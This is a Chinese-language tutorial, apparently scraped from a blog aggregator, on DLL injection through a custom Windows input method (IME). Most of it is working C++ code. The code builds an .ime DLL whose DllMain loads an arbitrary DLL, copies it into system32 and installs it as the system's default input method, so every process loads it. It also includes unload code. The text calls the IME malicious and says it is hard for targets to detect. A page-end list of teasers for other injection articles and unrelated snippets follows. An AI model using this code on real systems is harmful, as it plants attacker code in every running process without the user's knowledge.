DLL注入技术之输入法注入

输入法注入原理是利用Windows系统中在切换输入法需要输入字符时,系统就会把这个输入法需要的ime文件装载到当前进程中,而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。

1.编写Ime文件

    输入法的Ime文件其实就是个显式导出19个特殊函数的DLL文件。如下图所示:

  1. ImeConversionList           //将字符串或字符转换成目标字串
  2. ImeConfigure                //配置当前ime参数函数
  3. ImeDestroy                  //退出当前使用的IME
  4. ImeEscape                   //应用软件访问输入法的接口函数
  5. ImeInquire                  //启动并初始化当前ime输入法
  6. ImeProcessKey               //ime输入键盘事件管理函数
  7. ImeSelect                   //启动当前的ime输入法
  8. ImeSetActiveContext         //设置当前的输入处于活动状态
  9. ImeSetCompositionString     //由应用程序设置输入法编码
  10. ImeToAsciiEx                //将输入的键盘事件转换为汉字编码事件
  11. NotifyIME                   //ime事件管理函数
  12. ImeRegisterWord             //向输入法字典注册字符串
  13. ImeUnregisterWord           //删除被注册的字符串
  14. ImeGetRegisterWordStyle
  15. ImeEnumRegisterWord
  16. UIWndProc        //用户界面接口函数
  17. StatusWndProc    //状态窗口注册函数
  18. CompWndProc      //输入编码窗口注册函数
  19. CandWndProc      //选择汉字窗口注册函数

如果想编写输入法程序,那么这19个导出函数都需要仔细的研究,但是对于只想实现注入的我们,现在只需要对ImeInquire()有比较深的认识就可以了。ImeInquire()是启动并初始化当前Ime输入法函数,他的声明如下:

  1. BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption)

第一个参数lpIMEInfo比较重要,用于输入对Ime输入法初始化的内容结构,如果这个结构填写错误,就会导致输入法不能正常运行。第二个参数是输入一个class类名,我们需要先使用RegisterClassEx()注册出一个窗口类。初始化ImeInquire()主要代码如下所示:

  1. //启动并初始化当前ime输入法
  2. BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo,LPTSTR lpszUIClass,LPCTSTR lpszOption)
  3. {
  4. //输入法初始化过程
  5. //系统根据它为INPUTCONTEXT.hPrivate分配空间
  6. lpIMEInfo->dwPrivateDataSize = 0;
  7. lpIMEInfo->fdwProperty = IME_PROP_KBD_CHAR_FIRST |
  8. IME_PROP_IGNORE_UPKEYS |
  9. IME_PROP_END_UNLOAD;
  10. lpIMEInfo->fdwConversionCaps = IME_CMODE_FULLSHAPE |
  11. IME_CMODE_NATIVE;
  12. lpIMEInfo->fdwSentenceCaps = IME_SMODE_NONE;
  13. lpIMEInfo->fdwUICaps = UI_CAP_2700;
  14. lpIMEInfo->fdwSCSCaps = 0;
  15. lpIMEInfo->fdwSelectCaps = SELECT_CAP_CONVERSION;
  16. // 注意该输入法基本窗口类必须注册,否则输入法不能正常运行
  17. _tcscpy(lpszUIClass,CLSNAME_UI);
  18. return TRUE;
  19. }

注册出一个窗口类的主要代码如下:

  1. BOOL ImeClass_Register(HINSTANCE hInstance)
  2. {
  3. WNDCLASSEX wc;
  4. wc.cbSize         = sizeof(WNDCLASSEX);
  5. wc.style          = CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_IME;
  6. wc.lpfnWndProc    = UIWndProc;
  7. wc.cbClsExtra     = 0;
  8. wc.cbWndExtra     = 2 * sizeof(LONG);
  9. wc.hInstance      = hInstance;
  10. wc.hCursor        = LoadCursor( NULL, IDC_ARROW );
  11. wc.hIcon          = NULL;
  12. wc.lpszMenuName   = (LPTSTR)NULL;
  13. wc.lpszClassName  = CLSNAME_UI;
  14. wc.hbrBackground  = NULL;
  15. wc.hIconSm        = NULL;
  16. if( !RegisterClassEx( (LPWNDCLASSEX)&wc ) )
  17. return FALSE;
  18. return TRUE;
  19. }

CLSNAME_UI是一个宏定义,如下:

  1. #define CLSNAME_UI _T("DLLCLASSNAME")

在DllMain进程加载的过程中注册窗口类,主要代码如下:

  1. case DLL_PROCESS_ATTACH:
  2. if(!ImeClass_Register(hinstDLL)) return FALSE;
  3. //这里填写要load的DLL的路径
  4. g_hModule = LoadLibrary(_T("D:\\MyDll\\ImeInject\\Debug\\MfcImeInjectDll.dll"));
  5. if (!g_hModule)
  6. {
  7. MessageBox(NULL,_T("模块没有load成功"),_T("提示"),MB_OK);
  8. }
  9. break;

PS: 编写DLL时需要注意,当作IME文件的Dll需要有版本信息,Version资源中FILETYPE为VFT_DRV, FILESUBTYPE为VFT2_DRV_INPUTMETHOD,否则调用ImmInstallIME安装时会失败

2.编写装载输入法程序:

装载输入法的基本逻辑就是将他们编写的输入法设置为默认输入法,这样只要系统中所有进程都会默认加载他们的恶意输入法程序。

    黑客们首先需要得到系统当前的默认的输入法,以便恢复时使用。然后需要将ime文件拷贝到C:\WINDOWS\system32目录下,最后将装载成功后将我们的输入法设置成为默认输入法,主要代码如下:

  1. void CMfcImeInjectDlg::OnBnClickedAttach()
  2. {
  3. // TODO: 在此添加控件通知处理程序代码
  4. //得到默认的输入法句柄并保存
  5. ::SystemParametersInfo(
  6. SPI_GETDEFAULTINPUTLANG,
  7. 0,
  8. &m_retV,
  9. 0);
  10. //拷贝到system目录,只有ime文件在system32下才能装载成功
  11. CopyFile(
  12. _T("D:\\MyDll\\ImeInject\\Debug\\MyImeDll.ime"),
  13. _T("C:\\WINDOWS\\system32\\MyImeDll.ime"),
  14. FALSE);
  15. //装载输入法
  16. m_hImeFile = ImmInstallIME(
  17. _T("MyImeDll.ime"),
  18. _T("我的输入法"));
  19. if( ImmIsIME(m_hImeFile) )
  20. {
  21. //设置为默认输入法
  22. SystemParametersInfo(
  23. SPI_SETDEFAULTINPUTLANG,
  24. 0,
  25. &m_hImeFile,
  26. SPIF_SENDWININICHANGE);
  27. MessageBox(_T("安装输入法成功"));
  28. }
  29. }

3.编写卸载输入法:

    当新建进程不再需要注入时,我们就需要卸载输入法。卸载输入法时需要先判定系统当前的输入法不是其原有默认输入法,确认无误后将系统的默认输入法恢复后,再将恶意输入法卸载即可,主要代码如下:

  1. void CMfcImeInjectDlg::OnBnClickedDettach()
  2. {
  3. // TODO: 在此添加控件通知处理程序代码
  4. ::SystemParametersInfo(
  5. SPI_SETDEFAULTINPUTLANG,
  6. 0,
  7. &m_retV,
  8. SPIF_SENDWININICHANGE);
  9. if (UnloadKeyboardLayout(m_hImeFile))
  10. {
  11. MessageBox(_T("输入法卸载成功"));
  12. }
  13. }

输入法注入的实现需要对输入法IME文件的生成有所了解,API使用较多,所以实现起来比较难,但是由于系统存在多个输入法,被注入进程很难判别当前是可信赖输入法还是用于注入的恶意输入法,所以难以阻止,大大提高了注入的几率。

Dll注入技术之输入法注入的更多相关文章

  1. DLL注入技术(输入法注入)

    输入法注入原理 IME输入法实际就是一个dll文件(后缀为ime),此dll文件需要导出必要的接口供系统加载输入法时调用.我们可以在此ime文件的DllMain函数的入口通过调用LoadLibrary ...

  2. Dll注入技术之ComRes注入

    DLL注入技术之ComRes注入 ComRes注入的原理是利用Windows 系统中C:\WINDOWS\system32目录下的ComRes.dll这个文件,当待注入EXE如果使用CoCreateI ...

  3. Dll注入技术之APC注入

    APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx( ...

  4. 注入技术--LSP劫持注入

    1.原理 简单来说,LSP就是一个dll程序. 应用程序通过winsock2进行网络通信时,会调用ws2_32.dll的导出函数,如connect,accept等. 而后端通过LSP实现这些函数的底层 ...

  5. Dll注入技术之注册表注入

    DLL注入技术之REG注入 DLL注入技术指的是将一个DLL文件强行加载到EXE文件中,并成为EXE文件中的一部分,这样做的目的在于方便我们通过这个DLL读写EXE文件内存数据,(例如 HOOK EX ...

  6. <ReversingEngineering>关于windows32位系统下的dll注入技术经验汇

    上个学期把自己闷在图书馆一直在看关于逆向工程技术方面的书,从入门到初级,现在也敢说自己一条腿已经迈进了这片知识的大门里,因为该博客刚开通先将一些经验记录下来,也是留给自己一方面做个参照. <逆向 ...

  7. HOOK -- DLL的远程注入技术详解(1)

    DLL的远程注入技术是目前Win32病毒广泛使用的一种技术.使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进程(如Explorer.exe)中运 ...

  8. DLL的远程注入技术

    DLL的远程注入技术是目前Win32病毒广泛使用的一种技术.使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进程(如Explorer.exe)中运 ...

  9. Dll注入技术之消息钩子

    转自:黑客反病毒 DLL注入技术之消息钩子注入 消息钩子注入原理是利用Windows 系统中SetWindowsHookEx()这个API,他可以拦截目标进程的消息到指定的DLL中导出的函数,利用这个 ...

随机推荐

  1. Magento开启模板路径提示

    Magento的模板就好像搭积木一样,一个一个区块累加为一层,一层一层嵌套为一个整体,看起来结构相当复杂.虽然大部分模板文件路径在page.xml等文件中能找到,但是还是有部分是系统自带的.在上面并没 ...

  2. maven命令行创建项目问题

    今天在命令行下创建maven项目,使用的是create命令,但是一直失败,网上查找原因说archetype:create命令已经过期,需要使用 archetype:generate 来进行代替 加上了 ...

  3. 【LeetCode 10】正则表达式匹配

    题目链接 [题解] 看到这个题解 写的代码. 就是加个备忘录法.优化一下暴力的做法. 匹配的时候如果遇到号的话,就两种可能.不再考虑它前面一个字符了. 跳过这个或者.或者继续用前面那个字符匹配. 即d ...

  4. Android中对应用程序的行为拦截实现方式概要

    这次是真的好长时间都没有写博客了,主要不是因为工作上的事,主要还是这个问题真的有点复杂,实现起来有点麻烦,所以研究了很长时间(大约有一个月的时间).但是幸好最后问题搞定了~~ 一.问题场景 想实现36 ...

  5. 埃氏筛+线段树——cf731F

    从2e5-1依次枚举每个数作为主显卡,然后分段求比它大的数的个数,这里的复杂度是调和级数ln2e5,即埃氏筛的复杂度.. #include<bits/stdc++.h> using nam ...

  6. The method setPositiveButton(int, DialogInterface.OnClickListener) in the type AlertDialog.Builder i

    参考资料: http://blog.csdn.net/competerh_programing/article/details/7377950 在创建Dialog的时候,出现: The method ...

  7. (转)OpenFire源码学习之二:Mina基础知识

    转:http://blog.csdn.net/huwenfeng_2011/article/details/43413009 Mina概述 Apache MINA(Multipurpose Infra ...

  8. Java学习之DOS基础

    Dos命令行dir:列出当前目录下的文件和文件夹md :创建目录rd :删除目录cd :进入指定目录cd..:退回到上一级目录cd/:退回到根目录del:删除文件exit:退出dos命令行 进入dos ...

  9. IIS身份验证和文件操作权限(三、ASP.NET模拟)

    一.配置ASP.NET模拟 注意:在配置[ASP.NET模拟]是还要配置[匿名身份验证]不知道为什么,有知道可以留言,互相学习 二.浏览站点 -- 操作文件 ①无操作权限 点击写入 ②有操作权限(特定 ...

  10. HTTP协议的消息头:Content-Type和Accept的作用 转载https://www.cnblogs.com/lexiaofei/p/7289436.html

    一.背景知识 1.概述 Http报头分为通用报头,请求报头,响应报头和实体报头. 请求方的http报头结构:通用报头|请求报头|实体报头 响应方的http报头结构:通用报头|响应报头|实体报头 Acc ...